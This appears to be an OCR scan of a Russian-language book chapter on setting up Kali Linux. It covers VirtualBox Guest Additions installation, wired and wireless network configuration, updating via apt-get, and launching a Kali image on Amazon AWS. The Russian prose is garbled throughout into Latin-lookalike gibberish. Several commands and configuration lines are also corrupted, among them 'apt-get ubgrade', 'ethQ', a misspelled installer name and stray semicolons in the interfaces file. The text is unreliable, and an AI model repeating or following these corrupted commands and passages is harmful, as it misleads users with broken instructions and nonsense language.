OrkpoiiTe TepMUHAI U TIEPEU/IUTE B TarKy /media/cdromd, e cdrom@ — 3aTO U €CTh
JIMCK ¢ TocTeBbIMU fonosiHeHrsiMu VirtualBox (VirtualBox guest additions CD-ROM)
(puc. 1.23).

root@kali:~# cd /media/cdrom@®

root@kali:/media/cdrom0# 1s

32Bit I cert VBoxSolarisAdditions.pkg

64Bit 0S2 VBoxWindowsAdditions-amd64.exe

AUTORUN.INF runasroot.sh VBoxWindowsAdditions.exe
autorun.sh  VBoxLinuxAdditions.run VBoxWindowsAdditions-x86.exe
root@kali:/media/cdrom0# [J

Puc. 1.23. VI3MeHsieM TOUKy MOHTUPOBAHUS AWCKa

Jlist 3amycKa yCTaHOBIIMKA TOCTEBBIX AoroHeHnid VirtualBox BbImosHuTE Cey-
1ornyio komauy (puc. 1.24):

sh ./VBoxLinuxAdditions.run
C60p1<a 1 yCTaHOBKA BCEX HEOOXOMMBIX MOjLyJIel 3aiiMeT HECKOJIbKO MUHYT.

Bepuurecn B tomManiHmnii KaTasor.

Nssnexure o6pas komnakT-aucka VBoxAdditions. /las aroro meaknure npaBoi
KHOIIKOM MBIIIU Ha 3HAYKe HTOTO AUCKA 1 BHIGEPHUTE B IOSBUBIIEMCS MEHIO KOMAH/LY
Eject (M3Bireun). 3HAYOK KOMITAKT-IUCKA MCUE3HET ¢ Paboyero cTona.

IIepesarpysure BUpTyaibHylo Maliuny. /[ 9TOro BBeAUTe B KOMAaHJAHYIO CTPOKY
TepMHUHaIa KOMaHay reboot.

[Tocse mepesarpysku MoskeTe TIepeBeCTH BUPTYAJbHYIO MANTUHY B TIOJTHOIKPAH-
HbIH peskuM. st aToro BeibepuTe B CTPOKE MEHIO BUPTYaIbHON MaIlUHbl KOMAH/ILY
View » Switch to fullscreen (Buz » [lomHOsKpaHHBIN PERUM ).
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root@kali:/media/cdrom0# 1s

32Bit cert VBoxSolarisAdditions. pkg

64Bit 0S2 VBoxWindowsAdditions-amd64. exe
AUTORUN.INF runasroot.sh VBoxWindowsAdditions. exe
autorun.sh  VBoxLinuxAdditions.run VBoxWindowsAdditions-x86.exe
root@kali:/media/cdrom0# sh ./YBoxlLinuxAdditions.run

Verifying archive integrity... All good.

VirtualBox Guest Additions installer

Copying additional installer modules

Installing additional modules

Removing existing YirtualBox DKMS kernel modules ...done.
Removing isting YirtualBox non-DKMS kernel modules ...done.
Building the VirtualBox Guest Additions kernel modules ...done.
Doing non-kernel setup of the Guest Additicns ...done.

Starting the VirtualBox Guest Additicns ...done.

Installing the Window System drivers

Installing X.0rg Server 1.17 modules ...done.

Setting up the Window System to use the Guest Additions ...done.
You may need to restart the the Window System (or just restart the guest system)
to enable the Guest Additions.

Installing graphics libraries and desktop services components ...done.
root@kali:/media/cdromd# JJ

Puc. 1.24. 3anycK yCTaHOBLUMKA FOCTEBbIX AOMOSIHEHMI VirtualBox

HacTtpoWnka cetu

B crexyiomem nmoapaszaene Mbl 00Cy UM, Kak Hactpouts Kali Linux a1 moakmoyenus
K IIPOBOIHO# 1 6ECITPOBOAHOI CETH.

HaCTpOﬁ Ka NnpoBoAgHOro COeEANHEHUA

B ISO-o6pase BupryanbHoil Mammabl Kali Linux gus VMware 1o yMor4aHuio BeIOpaH
tun ceresoro coenunenus NAT (Network Address Translation). IIpu ucnonb3oBannm
3TOro BapuaHTa BUpTyasbHasa MamuHa Kali Linux Oyzer moak/r0ueHa K BHEITHEMY
MUPY 4epe3 OCHOBHYIO ONepaInoHHyio cucremy. Ho BHeITHUIT MUP, B TOM YUCJIE OC-
HOBHAs OllepallMoOHHas cucTeMa, K BupTyanbHoil mammbe Kali Linux moakmodnTtbes
He CMOJKeT.

JlJist TeCTUPOBAHUST HA IPOHUKHOBEHME JIy4Ille BEIOPATh THIT MOAKIFOUYCHHUS ¢ Ha-
3BAHUEM «CETeBOIl MOCT». J[Jisl MI3BMEeHEeHUsT TUIIA CETEBOTO MOKII0YEHUS BBIITOJTHUTE
cetyionue efcTBUs.

1. 3asepumare pabory BupryanbHoil Mamutb Kali Linux.

2. B nmeBoii yacTh 0OKHa MEHeJJKepa IEJKHUTE Ha SPJbIKE BUPTYATbHONW MalTUHbI
Kali Linux. Ha manesin "HCTPYMEHTOB MEHEKEPA BUPTYAJIbHBIX MAIIIUH HAKMUTE
kHo1Ky Setting (Hactpouts). B sieBoii yacti okHa MeHezKepa BUPTYaJIbHBIX MAIMH
MOSIBUTCST CITUCOK TUTIOB HACTPOEK BHIOPAHHON BUPTYaIbHOI MarmiHbl. [enknnTe Ha
ctpoke Network (Cetb). B mipaBoii yacTu OKHa MeHe/Kepa BUPTYATbHBIX MAIITHH 110-
SIBSITCST 97IEMEHTHI yIIpaBJIeHns HacTpoiikamu cetn. [lepefianTe Ha BRasKy Adapter 1
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(Anmanrep 1). Boibepure B packpbiBatoniemcs crrcke Attached to (Tuin ok oueHus )
cTpoKy Bridged Adapter (Ceresoii Mmoct). Beibepure B cricke Name (MMs1) cereBoii
uHTepdelic, ¢ MOMOIBI0 KOTOPOTO BbI MOJKII0YaeTech K cetr (puc. 1.25).

B General Network
System
Adapter 1 | Adapter 2 I Adapter 3 | Adapter 4
Display
Enable Network Adapter
@ Storage @e e
. ttached to:
& Audio
R e ————— Name: [lnteKR)SZﬁgLM Gigabit Network Connection -
Eéir[ Metwork

Puc. 1.25. Bbibop TMna ceTeBoro agantepa

[ ncnoTe30BaHMsI ceTeBOTO coeHeH st Tutia « CeTeBoil MOCT» OCHOBHASI OTIepa-
IUOHHAS CHCTEMA JIOJKHA TTOKJIIOUNTBCS K CETEBOMY YCTPONCTBY (MapIIpyTU3ATOPY
UM KOMMYTATopy ), ymelonieMy BoijaBath [P-agpec ¢ momonipio DHCP-cepsepa.
Kax Bt 3naere, IP-anpec DHCP — aro qunamuyecknii [P-agpec nin apenioBanHbIit
[P-anpec. YUepes nekoropoe Bpemst (a ato Bpems onpejessgercss DHCP-cepsepom)
BupTyasnbHoii MamuHe Kali Linux nmorpebyercsa cHosa apengosarb IP-axpec. BHoBb
nosrygeHHbIil [P-azpec MoJKeT COBIAIATh € MPEABIYIIIM, & MOKET U HE COBITA/IATh.

Ecau BbI X0TUTE cienath [P-azpec nmocrosuubiM, coxpanure Tekymumii [P-agpec
B (baiinie /etc/network/interfaces.

Hwuske mokasanbl HacTpoiiky, 3anMcannble B aiijie interfaces 1Mo yMOJTUYaHUIO:

O auto lo;
U iface lo inet loopback.

[To ymomuanuio Bce ceTeBble KapThl HACTPOEHBI HA TIOJyUYeHUe TUHAMUYECKOTO
IP-aapeca. Ytob6bl ipuBs3aTh K CETEBOI KapTe OCTOSHHbIN (cratnueckuil) IP-anpec,
oTpesakTUpyiiTe (aiis caeayrommumM 00pasoM:
auto etho;
iface etho inet static;
address 10.0.2.15;
netmask 255.255.255.0;
network 10.0.2.0;
broadcast 10.0.2.255;
gateway 10.0.2.2.

o000 D0O0DO

Mbo1 Hasnauwnsu cereBoit kapre ethQ TP-azpec 10.0.2.15. Bo3moxkHo, 9Ty KOHUrypa-
I[UO TTOHA00UTCS HACTPOUTD B COOTBETCTBUU C TECTUPYEMOI CETEBON CPEIOil.
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HacTpolika 6ecnpoBoAHOro coeAMHeHUs

BupryanpHas mammaa Kali Linux MokeT MOAKIIOYUTHCS K CETH € TIOMOIIbIO Hec-
TTPOBOJTHOM CEeTEeBOI KapThl OCHOBHOTO KOMIIbIOTEPa. BbI Takske MoskeTe NCIO0Ib30BaTh
BHeITHIOI GecipoBoaHyo USB-kapry.

Jlsist mpuMepa Mol BosbMeM Gectipooiay o kapty USB Ralink ¢ BHerHeit aHTeHHOIT
(nasee, B pasjesie, MOCBSIEHHOM TECTUPOBAHNIO HA MPOHUKHOBEHHUE OECIIPOBOHO
CeTH, MBI TTIOJIPOOHO 0OCYNM, KaK BHIOPATh aHTEHHY J1JIsT OECITPOBOIHOI CETH ).

1. Jlns akruBaiuu Bameil GecripoBogHo cereBoit USB-KapThl MOAKJIIOUNTE afantep
k nopry USB. [lanee Boibepute B okHe BupTyaibHoil Manubl Kali Linux komanzmy
MeHIo Devices » USB » USB Setting (¥ crpoiictsa » USB » Hacrpoiika USB) u BeiGepu-
Te B OTKPBIBIIIEMCS CIIMCKe HazBaHue TojkaoueHHoi kK USB-1iopTy ceTeBoii kapThl
(puc. 1.26).

Optical Drives
Nelwork

| @8 USB Settings...
Webcams

Broadcom Corp 5880 [0101]
Shared Folders e :

Ralink 802,11 n WLAN [0101]
Shared Clipboard Vendor ID: 148F 1]
Drag and Drop

Insert Guest Additions CD image.

QOB paBwd G rean

Puc. 1.26. Cnncok ¢ noaxtoUeHHbIMU USB-ycTpoiicTBamMm

2. Tlocae Toro kak Kali pacnosnaer noakiouentyio k USB-nopTy cereByio KapTy,
II7IsT IPOCMOTPa MHGOPMAIIUU O MOAKIIOYEHHOM YCTPOICTBE CIeyeT 3aImyCTUTh
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nporpammy dmesg. UToOBI OMPEIETUTD, TIPABUIBHO JIH MOAKIIOYEHO GECITPOBOIHOE
YCTPOMCTBO, OTKPOITE TepMUHAJ U BLIIIOJHUTE CJELYIONLYI0 KOMAHLY:

ifconfig
Eciu 6ecripoBoiHOE TTOAKIIOYEHE HACTPOEHO MPABUIBHO, BbI HOJKHbBI YBUIETH
criuckn Hactpoek WLANO nom WLANT.

BbIxoaHble JaHHbIE JOJKHbBI BKJIIOYATH CIUCOK HacTpoek st WLAN. Dto Gecnipo-
BOJIHOE CETEBOE MOJIKJII0UEHNUE.

B nipaBoM BepxHeM yTJIy TiaHe m 3a/1a4 Pabouero crona Kali Haxonutcest 3rawox Network
Connectioms (Cetenblie ogkouenus). Itob6br 0To6pasuTh Bee AOCTYITHbIE Gecpo-
BOJIHBIE CETEBbIE TTOKJIIOUEHVIS, IEJTKHITE HA HEM KHOIIKOU MBbIIITH.

Bbl yBUAKTE CIIMCOK OECIIPOBOAHBIX CeTell, JOCTYIIHBIX /IS BAlIero yCTpoicTBa
(puc. 1.27).

Wi=-Fi Networks
Select a network

—
-

Harley-2.4

HR-HOME

xfinitywifi

SECALT

Baird-2.4

Brenner

HOME-0842

Puc. 1.27. Cnncok AoCTYMHbIX 6eCNPOBOAHbIX CETEl
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6. st NOAKIIOUEHMsI JBasKIbl IIEJKHUTE Ha UMeHU TpebyeMoii 6ecIipoBOIHOI ceTu.
Eciin GecripoBo/iHast ceTh MPOCUT aBTOPU3AI[UH, BaM OYeT MPeJI0KeHO BBECTH
rapoJib. [loKIiouene COCTOUTCST TOJIBKO MTPU BBEJIEHUHN TIPABUIBHOTO MAaPOJIs.

O6HoBneHue Kali Linux

Kali Linux cocTouT U3 siipa ¥ HECKOJIBKUX COTEH MAKETOB C TIPUKJIAHBIM TIPOTPAMMHBIM
obecTieyeHreM, OTBEUAIOIIIM, 3a PasHble (DYHKITUI OePAIlHOHHON cucteMbl. 1yt 00HOB-
JieHust aTuX GYHKIMH crepyer oGHOBUTH IporpaMMHoe obecriederne. Pekomeryercst
OGHOBJIATD SIIPO U TPOrpaMMHoe obecriederne Tobko u3 pernosutopus Kali Linux.

[lepBoe, 4TO HYKHO C/IeJIaTh MIOCTIE YCTAHOBKU M HACTPOWKY OTIEPAIMOHHOI CHCTe-
mbl, — o6HoBUTH Kali Linux. ITockosbky Kali Linux ocroBana sHa Debian, ucnosbsyiite
1Tt OOHOBJIEHUST KOMAHTY apt-get.

Komanpa apt-get obparurcs K ¢aitny /etc/apt/sources.list, 4To6bI Mo~
KJIIOYUTBHCS K cepBepy ¢ oOHoBieHussMu. Ho mpexjie BaM cienyeT yOeauThest, 4To
B (aiise sources.list comep:KaTcs CChIJIKU HA IIPABUJIbHBIE UCTOYHUKHU [TAKETOB
1St OOHOBJIECHUSL.

O6HoBuTe daiis sources.list. [IJisg 9T0r0 OTKPOiiTE TEPMUHAI U BBEIUTE CIIELY-
OIYI0 KOMaHY:

leafpad /etc/apt/sources.list

CxomupyiiTe permo3uTopuii ¢ ohUIMATBHOTO caliTa, HAXOAIIErocs Mo ajipecy https://
docs.kali.org/general-use/kali-linux-sources-list-repositories, BcTaBbTe €ro B leafpad u coxpa-
HUTE:

deb http://http.kali.org/kali kali-rolling main contrib non-free
# For source package access, uncomment the following line
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free

[Tepex 0OHOBJICHIEM CJIEAYET CHHXPOHU3UPOBATh MHIEKCHBIE (hallJIbl MaKeTa 13
PEro3uTOpHUs, YKa3aHHOTO B CITUCKe NCTOUHUKOB (haiina /etc/apt/sources.list. Cun-
XPOHU3AIUA BBIIIOJIHAETCA € IIOMOLIBIO KOMAaH/IbL:

apt-get update

O6parute BHUMaHKeE: 1epej; 0OHOBJIEHUEM ONEPAIIMOHHON CHCTEMbBI U IIPOrPAMMHOIO
obecrreuenna Kali Linux Bcerga neo6xoammo 3alyCcKaTh KOMaHay apt-get update.

[TocJie TOro Kak MHAEKCHI TAKETOB OYAyT CUHXPOHU3UPOBAHBI, MOKHO IIPUCTYIIATD
K OOHOBJICHUIO.

Jl1a 0OHOBJICHUA BbI MOKETE UCIIOIb30BATD JIBE KOMAH/IbI.

O apt-get ubgrade. C moMOIbIO 3TO KOMaH/IbI BCE MAKEThl 0GHOBATCA 10 TIOCIEAHEI
Bepcun. Ecim mpu 06HOBIEHNT KaKOro-1u6o MakeTa BOSHUKHYT 3aTPyAHEHNUST, OH
ue Gyzer 0OHOBIIEH.

O apt-get dist-ubgrade. dta koMaHna o6HOBUT Bech aucTpudyTus Kali Linux.
Hanpumep, ¢ ee momomisio Kali Linux Bepcuu 1.0.2 o6HoBUTCS 110 Bepeuu 2.0.
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KomaHa 0GHOBUT BCe YCTaHOBJIEHHBIE IIAKETHI, a TaksKe 00pabdoTaer Bee KOH(IIMKTHI,
BO3HMKIIIKE B ripoiiecce oOHoBeHnsa. OHAKO OT BaC MOKeT IOTPeOOBAThCS BbINOJI-
HeHUe HEKOTOPBIX JIEVCTBUIA.

ITocsie Toro Kak OyzeT BEIOpaH mapamMmeTp KOMaH bl OOHOBJICHHSI, ITporpaMma apt-get
BBIBEJICT CITUCOK BCEX MAKETOB, KOTOPbIE OY/IyT YCTAHOBJIEHBI, 0OHOBJICHbBI WJIU YIaJICHB,
1 CTAaHET OKMNAATh BAallIETO IMMOJATBEPKACHUA BBITIOTHAEMbBIX [[eﬁCTBHfI.

Ecam noarsepxaenne OyaeT moydeHo, Ha4HeTes mpoltece oOHoBaenus. Buumarnue:
nporecc 0OHOBJIEHIS MOKET OBITH MPOAOIKUTETLHBIM U 0OBIMHO 3aBUCUT OT CKOPOCTH
MHTEPHET-TOAKIIOYEHNL.

Hactponka Kali Linux AMI B obnake Amazon AWS

Kali Linux Taxske MoxeT ObITh HacTpoeHa B obake Kak Amazon Machine Image (AMI)
Ha 1aTopMe 06JauHOr0 BBIYUCIUTEIbHOTO cepBrica Amazon Web Services. Crou-
MOCTb UCTIONIb30Banust cepBuca coctasisiet $0,046 B yac. Ho ecim cepBuc ncrosbay-
ercs Kak 6a3oBast caryskba MOTb30BATEIS M He TIPEBLIIACT YCTAaHOBJICHHBIX OTPaHIYe-
HUIT, ¢ HUM MOKHO paboTath GecrmaTro. JIJist perucTpanui U HacTpOHKH moTpebyeTcest
Bara KpeanuTHas kapra. Ob6parure BHHU-

MaHMe: eCJTH BBl TPEBBICUTE YCTAHOBJIEH- Create an AWS account

HbI€ OTPAHUYEHUST, TIePEl CHATHEM JIEHET
C KPEAWTHON KapThl BbI TIOJYYNUTE yBe-
JOMJIEHUE.

[Tepen Tem kak HavaTh HACTPOUKY
Kali Linux B obJsake, mocetTute Amazon
Marketplace 1 03HaKOMBTECH € TOAPOOHOIT Password
undopmarmeii 06 AMI (https://aws.ama-
zon.com/marketplace/pp/B01M26MMTT). O6-
paTuTe BHUMAaHNE HA CITUCOK OTpaHnye-
HUI 117151 6ECTIIIATHOTO UCTIOTb30BAHMS.

st yeranoBku u nHactpoiikn Kali AWS account name 6
Linux B o6Jsake BaM TPUIETCST BBITIOT- ] Kali_Pentesting |
HUTBH CJIEAYIONTIE TeHICTBUS.

Email addiess

| info@cfsi.co ]

Confirm password

[ |

[ Continue |

1. Crauama cosmaiiTe y4eTHYIO 3alUCh
na oprasie AWS Amazon. /List aToro Sign in to an existing AWS account
3aliInTe HAa CTPAHUILY, PACTIOJIOKEH-
HYIO 110 aJipecy https:/!aws.amazon.com/ , i Sermens S e B i
U MIEJIKHUTE KHOITKOW MBI HAa CCHLJI- All rights reserved.
ke Create a new account (Coszath HO- e B i
BYIO yUETHYIO 3amuch). O0s13aTeIbHO
3aIIOMHUTE NUCHOJIb3yEeMbI€ YUCTHDIE
JAHHbIE, a TAK)KE CO3[aHHOE BaMU
nmss AWA (puc. 1.28). Puc. 1.28. Co3aaHue y4eTHOM 3anucm
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2. Haxmure kaonky Continue (ITpososkuTh) 1 32110 THUTE IOTIOTHUTEIBHBIE TT0JISI BBO-
na. TIpu BBOjIe IAHHBIX Balllel KPEAUTHOM KapThl BaM GYJIET MPE/IOKEHO TO3BOHUTH
B Amazon u BBeCTH KOJI IS TIPOBEpKH U obecriedenust GezonacHocTu. [locie Toro
KaK Bce JaHHble OYAYT BBEJCHBI, a TIPOBepKa 6e30MacHOCTH TPOii/IeHa, Ha 9KpaHe
osiBUTCA KoHCoJb AWS.

3. BbI J0JKHBI TIOJTYYHUTH MO 9JIEKTPOHHOI ToUTe COOGIIEHNE O TOM, YTO Ballla yueTHast
3amuch ycmnenrHo cosaana. [Toce atoro B cMoskeTe BoMTH B KOHCOb AWS 11 3a-
BEPIUTDH HACTPOIKY. B rpyrire amemenToB yrpassenus Build a solution (IToctponTts
pelrieHe) MeJIKHATe KHOTTKON MBITITH Ha cchlTke Launch a virtual machine (3amyctuTh
BUPTyasbHyIo Mamuny) (puc. 1.29).

_aW% Services Resource Groups v +*
AWS services
[ Find @ service by name o featura (for CZ, 53 or VM, storage). Q ]

v Recenily visited services
{0} Ec2

> All services

Build a solution

Get started with simple wizards and automated workflows.

@ Launch a virtual machine @ Build & web app @ Build using virtual servers
<)

With EC2 With Elastic Beanstalk With Lightsail
~2-3 minutes ~G minutes ~1-2 minutes

L% Connect an 10T device £<?;? Start a development ﬁ Register a domain
Y with AWS loT g ¢ Project (eww) with Rotte 53
~B minutes With CodeStar ~3 minutes
~Bminutes
See more

Puc. 1.29. 3anyck BUpTyanbHON MaliMHbI B 06/1aKke

4. B xoncosim AWS Bbl yBUauTe nanesb EC2 Dashboard ¢ asiemenTaMu ynpaBJeHust
(puc. 1.30). Passepuute rpytiry asemenToB yiipaBieHus NETWORK & SECURITY (Cetb
u 6e301aCHOCTD) U IIeJKHITEe Ha cTpoKe Key Pairs (TTapbl Kitoueit).

3. [lamee meskHUTE KHOMKOI MBITITH Ha cchblike Create Key Pair (Co3maThb mapy Kirioueii).
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._E‘WS, Services v  Resource Groups ~ *
I EC2 Dashboard - Resources ™
Events 4
You are using he l'DIIIMI'Ig Amaron EC? resources in the U5 East (()I’IIO} reqion:
Tags
0 Running Instances 0 Clastic IPs
Reports
e 0 Dedicated Hosts 0 Snapshots
mi
U Volumes U Load Balancers
i) INSTANCES U Key Pairs 1 Security Groups
Inslances

0 Placement Groups
Launch Tt:mplmc.t‘.

Spot Requesis - x
L Leam more anout the [atest in AWS Compute from AWS reinvent 2017 by viewing the EC? Videns
Reserved Instances
Dedicaled Hosls
Create Instance
[l IMAGES
AMis To start using Amazon EC2 you will want to launch a virtual server, known as an Amazon EC2 instance.
Bundie Tasks Launch Instance =
=) ELASTIC BLOCK
= STORE Mote: Your instances will launch in the US East (Ohio} region
Volumes F I c
Snapstiofs — | Service Health Scheduled Events
= NETWORK & Service Status: US East (Ohlo):
SECURITY @ UsEast (Onioy No events
Security Groups This senvice is operating nomalty
Elastic IPs

Availability Zone Status:
Placement Groups

Key Pairs
Network Interfaces

& Us-eask2a
Avallability zone is operaling normally

& us-east-2n;
[=] LOAD BALANCING Availability zone is operaling nommally

Load Balancers

Puc. 1.30. KoHconb AWS

6. Ilpu nosiBiienun 3anpoca BBejnTe UM napsl Kiodeit. [Tockonbky ata napa kioueit
npejiHasHavYeHa Jis ay TeHTU(UKAIIMI 1 TPOBEPKU, BBIGUPATE JIErKO 3alIOMIHAEMbIE
ums 1 pacnosioxenue (puc. 1.31).

Create Key Pair X

Key pair name: |Kali AWS|

Puc. 1.31. [inanorosoe okHo Create Key Pair (CozgaHve napbl kito4ein)

7. Beibepure u coxpanure napy kiatoueit. O6parure BHUMaHUe Ha paciiupeHue daiiia
napbl KJIOYEH: . pem. ITO Kak MU(MPOBON OTIMEUATOK MAJbIA B IECTHAAIIATEPHUHOM
dopmare (puc. 1.32).
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a Key pair name

@ Kali AWS

~ | Fingerprint -

0c:72:32:36:1e:ab:dc:b6:5c:e8:0c:49:ce:cb:ad:by:78:7e:10:dc

Opening Kali AWS.pem \ /

You have chosen to open:
E] Kali AWS.pem
which is: Text Document

from: https://us-east-2.console.aws.amazon.com

What should Firefox do with this file?

@ Open with | Notepad (default) hd

@) Save File

[[] Do this automatically for files like this from now on.

[ |

Puc. 1.32. CoxpaHeHue dalina napbl kioyen
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8. ITlocisie coxpaneHnus Mmapsl Kjaoueil BepHUTeCh B KOHCOIb AW, 1eIKHUTEe KHOTI-
KOIl MbILIM Ha MeHIO Resource Groups (PecypcHbie TpyIinbl) 1 BbIOEpUTE B BepXHEil
YacTU KOHCOJIM CTPOKY Launch a Virtual Machine (3amycTuTh BUPTyaJbHYIO Mallu-
HYy). B MeH10, pactioyio;keHHOM B JIEBOI YaCTH KOHCOJIU, TEJKHUTE Ha spJbike AWS
Marketplace 1 BBeinTe B cTpoke niorcka Kali Linux (puc. 1.33).

W :
.a 5 Services Resource Groups v *

Quick Start

My AMIs

AWS Marketplace

Community AMIs

¥ Categories

1. Chonse AMI 2 Chnnse Instance Type 3 Configure Instanre 4 Add Storage 5 Add Tags

Step 1: Choose an Amazon Machine Image (AMI)
An AMI is a femplate that contains the sofiware configuration (operating system, application server, and
user community, or the AWS Markeiplace; or you can select one of your own AMIs.

| Q, Kali linuy] X

\&/awsmarketplace

Find and buy software that runs in the AWS Cloud, software from trus
€an now find and [aunch somware directly within EC2 Tor all AWS Mark
visiting our Software in the AWS Marketplace.

Puc. 1.33. Crpoka novcka Ha Bknagke AWS Marketplace
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Ceituac Ha ToproBoii momagke AMI Bbl cMOkeTe HATH TOJIBKO OJIUH 9K3EMILIISIP
Kali Linux. O6parure BHUMaHue, 4TO 9T0 OecIiaTHas onepainonHas crucrema (Free
tier eligible) 1 pacipocrpansercs mox gororunom Kali. Hasxmure kHomnky Select (Bbi-
6parb), uTobbl Kcnosb3oBath a1oT AMI (puc. 1.34).

Services v *

Resource Groups

Support

1. Choose AMI 2. Choose Instance Type 3. Configure Inslance 4. Add Slorage 5. Add Tags 6. Configure Securily Group 7. Review
Step 1: Choose an Amazon Machine Image (AMI) cancel
Quick Start I£ < 1101011 Products
4, Kal inux *
My AMIs

Kali Linux

AWS Marketplace

KALI

Freat tier clpibic

e e e (5] Kol Lineoc 2040.4°] Sold by Kk L

Community AMEs 000 for soltware = AWS usage lees

Linunwling:, Dthes 2015 1 | 64-bE Amazon Waching kmge [AMI} | Updated: 20718

¥ Cat i o 3 : o : : "
RgoTes Kali Linux is & Debian-based Linux dstribution aimed at advanced Penclration Testing and Secwity
All Categories Auditing. Kali containg several hundred toals targeted towards various

More info

Infrastructure Software (1)

Puc. 1.34. Bbibop norotuna Kali

Boi Moskere BoIGpaTh gocTymHbie 1 AMI cbopku, oTandaonecs, CKaskeM, napa-
MeTPaMHU MCII0JIb30BAHI [TAMSITH U IIPOIeCCOpa. 3/1eCh Bbl CMOKETe HANTH, HATIPU-
Mep, cbopky T2 Nano ¢ cambiM HuskuM nodacosbiM tapudom $0,006 B yac. Korga
3aBepIuTe MpocMoTp TUIOB cbopok (Instance Types), TPOKPYTUTE CTPAHUILY BHU3

u Haxkmure kHonky Continue (ITpoxoskuts) (puc. 1.35).

Kali Linux
Kali Linux Pricing Details
Kali Linux is a Debian based Linux distribution
aimed at advanced Penstration Testing and Security Hourly Fees
Auditing. Kali containg several hundred tools
Laigeled lowards vanous information securily lasks, Instance Type Software EC2 Total
such as Penetration Testing, Forensics, and .
e ! R Cight Cxtra La 0.00 2.66 GGhi
» Reverse Engineering. Kali is developed, Tunded, and . 9 ra barge s s X 52 ) ¥
Free tier eligibke mintained by Ofensive Security, a leading .. 17 Nano Enoo 50 D0E $006hr
More info 14 16 Exdra Large s0.00 54256 $4.256/hr
View Additional Detalls In AWS Marketplace M5 Extra Large §0.00 $0.192 $0.192/hr
Product Detalls I Exlra Large 50.00 50.20 $0.2001
. H1 2 Cxtra Large 50.00 50460 $0.460/hr
Scld by Kk Linux High 110} Quadruple Fdra | arge 5000 51748 $1.248Mr
3 & & L
Cuistomes: Rating *) 12 Large 50.00 S0.093  $0.093fhr
; e ‘
Latest Varsion " |af Linux 20181 C4 Double Extra Large 50.00 50398 $0.398/hr
Base Operating System | inue/Unix, Other 2010 1 M Large $0.00 50,096 $0.096/ 1
Delivery Mathod  64-bit Amazon Machine Image (AMI) R2 Double Cxira Large 50.00 50666 $0.665/hr
License Agreement End Uscr Licensc Agreement MS Double Fxtra | arge so.00 50384 $0.3840hr
On Marketplace Since  10/18/16 X1 32 Extra Large 50.00 13338 $13.3380hr
AWS Services Required Amazen EBS, Amazon EC2 T2 Double Extra Large 50.00 $0.371 $0.371/hr
Highlights T2 Extra Laige 50.00 $0.186  $0.186In
High i Cxtra Large 50.00 50.853 $0.053hr
n Advanced penefration testing platorm .
4 Fight Fetra | 3 0.00 15M 1.5/
s Hundreds of security tnals included 9 e b ¥ 3 #

Puc. 1.35. Cnmcok AoCTYynHbIX C60poK
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10. Boibepure GecriatHyio c60pKy t2.micro, Tak Kak OHa MpefHazHaveHa st 0011ero
ucrionb3oBanus (puc. 1.36).

1 Choose AMI 2. Choose lnstance Type 3 Configure Inslance 4 Add Storage 5 Add Tags & Configure Security Graup 7 Review

Step 2: Choose an Instance Type

Amazon EC2 provides a wide selection of instance ypes oplimized (o B different wse cases, Instances ane virlual servers thal can run applications. They have varying
cambinations of CPLU, memory, storage, and networking capacity, and give you the flexibility to choose the appropriate mix of resources for your applications, Leam more about
instance types and how they can meet your computing needs.

Filter by: | &ll instance types ~ Current i e

Currently selected: 12 medium (Vanable ECUs, 2 vOFUs, 2.3 GHE Intel Broadwell E5-2686v4, 4 Gi memory, EBS only)

Note: The vendor recommends using a t2.medium instance (or larger) for the best experience with this product.

ity o e o @] ey | lmmeceSonpe | hSophalid | detwotk 5
Guneral purpse 2. nano 1 0.5 EBS only - . Low to Moderate . Yes
General purpose (2.0 1 1 EBS only . Low o Moderate Yes
General purpose 12 smaall 1 2 EBS only - Low lo Moderate Yes

Cancael Pravious Review and Launch Hext: Configurs Instance Details

Puc. 1.36. Boibepute t2.micro

11. Haskmure KHOIKY Review and Launch (O630p 1 3amyck). Y 6eauTech, 4To BbIOpaH THII
cOOpKH t2.micro, u HaxkMuTe KHOTKY Launch (3amycruts) (puc. 1.37).

1. Choase AMI 2 Choose Instance Type 3. Configure Instance 4. Add Slorage & Add Tags . Configure Secunty Group . Heview

Step 7: Review Instance Launch
Kali Linux
Hali Linus 2018.1

m Hoot Device Type: eds  Virtuakzabon type: hvm

Hourly Seftware Feas: $0.00 per hour on t2.micro instance (Addmional taxes may apply.)
Software charges will Degin once you launch this AMI and continue unti you terminate the instance.

By launching this produsct, you will be subseribed (o This software and agree that your use of this software is subject o the pricing lems amd e seller's
End User License Agreement

- Instance Type Edil instance lype
Instance Type ECUs vCPUs  Memory (GIE) Instance Storage (GE) EBS F

12 micro Variable 1 1 EBS anly - Low to Moderate

Cancel | Frevious Launch

Puc. 1.37. 3anyck t2.micro

12. Temneps Bam OyAeT HPEANOKEHO UCIIONb30BATh PaHEe COXPAHEHHYIO Mapy KJOYeil.
Boibepute B IEPBOM PACKPBIBAIOIIEMCST CITUCKe CTPOKY Choose and existing key pair
(Boibepure cyniecTByIolyio napy kiaioueil). B menio Select a key pair (Boibepure
rnmapy KJoueil) rnepeiuTe B KaTaJor, B KOTOPOM 3Ta Tapa KJo4uell coXpaHeHa.
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Y1066l TPUHATH YCIOBUSI, YCTAHOBUTE COOTBETCTBYIONUH (hJIasKOK U HAKMUTE
KHOTIKY Launch Instances (3amycTuTh 9K3eMILISD).

Ha skpane nosgsutcst yBegomieHue o cocrosianu samycka Kali Linux AMI (puc. 1.38).
Bl MOskeTe caMOCTOSITETBHO CO3/IaBaTh OTMOBENEHN S, KOT/IA TIPU MTPEBbIICHUN YPOB-
Hs1 GecrimaTHOro moJiboBaHust AW'S cuera BBICTABJISINCH OBl aBTOMATHUYECKH.

?W'S_‘ Services Resource Groups

14

Launch Status

@ Yourinstances are now launching
The following Instance launches have been indiated: HIGIICEEB1E0LUSTET  View launch log

®  Get notified of estimated charges
Create biling alerts 1o get an email notification when estimated charges on your AWS bill exceed an amount you defing (for example, if you exceed ine free
usage tier).

How to connact to your Instances

Your instances are launching, and it may take a few minutes until they are in the running state, when they will be ready for you 1o use. Usage hours on your new instances will
slart immesdizately and conlinue o accoe il you slop on lerminate your mstances:

Chck View Instances to monifor your instances” status. Once your INstances. are in the running state, you can connect 1o them from the instances screen. Find out how to
cOonnect 1o your Instances.

- Getting started with your software

Puc. 1.38. CocTosiHve 3anycka

. IIpokpyTtute cTpaHuIily BHU3 1 IIeJKHUTe Ha cTpoke View Usage Instructions (IIpocmoTp
WHCTPYKIIMH 110 uctoab3oBanuio) (puc. 1.39).

15

16.

Kali Linux 2018.1* Usage Instructions for Kali Linux

